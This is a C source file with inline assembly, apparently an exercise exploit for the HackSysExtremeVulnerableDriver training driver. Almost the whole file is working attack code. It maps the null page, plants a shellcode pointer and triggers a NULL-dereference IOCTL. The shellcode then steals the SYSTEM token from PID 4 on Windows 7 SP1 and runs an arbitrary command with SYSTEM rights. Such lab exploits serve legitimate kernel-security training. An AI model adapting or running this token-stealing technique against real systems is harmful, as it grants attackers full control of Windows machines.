1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
| #include <stdio.h>
#include <Windows.h>
typedef NTSTATUS(NTAPI *kNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
void GetSystemToken() {
__asm {
pushad; 保存寄存器
xor eax, eax; eax置零
mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax; 将本进程EPROCESS地址复制到ecx
mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h]; 获取System进程的Token
mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
popad; 恢复寄存器
xor eax, eax; eax置零
add esp, 12
ret
}
}
void main(char* argc, char* argv[])
{
char Buffer[20] = { 0 };
HANDLE hDevice;
DWORD dwRet = 0;
DWORD dwRet2 = 0;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");
HMODULE hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL) {
printf("[-] Failed to load ntdll\n");
return;
}
kNtAllocateVirtualMemory pNtAllocateVirtualMemory = (kNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL) {
printf("[-] Failed to resolve NtAllocateVirtualMemory.\n");
return;
}
INT base_address = 0x1;
SIZE_T region_size = 0x1000;
NTSTATUS tmp = pNtAllocateVirtualMemory(
GetCurrentProcess(),
(LPVOID*)(&base_address),
0,
®ion_size,
(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),
PAGE_EXECUTE_READWRITE
);
if (tmp != (NTSTATUS)0x0) {
printf("[-] Failed to allocate null page.\n");
return;
}
printf("[+] NtAllocateVirtualMemory Success\n");
*(DWORD*)0x0000004 = (DWORD)&GetSystemToken;
DeviceIoControl(hDevice, 0x22202b, Buffer, 0x4, NULL, 0, &dwRet, 0);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
if (argv[1])
{
si = { 0 };
pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = 1;
si.wShowWindow = 0;
CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 0x10000);
}
}
|
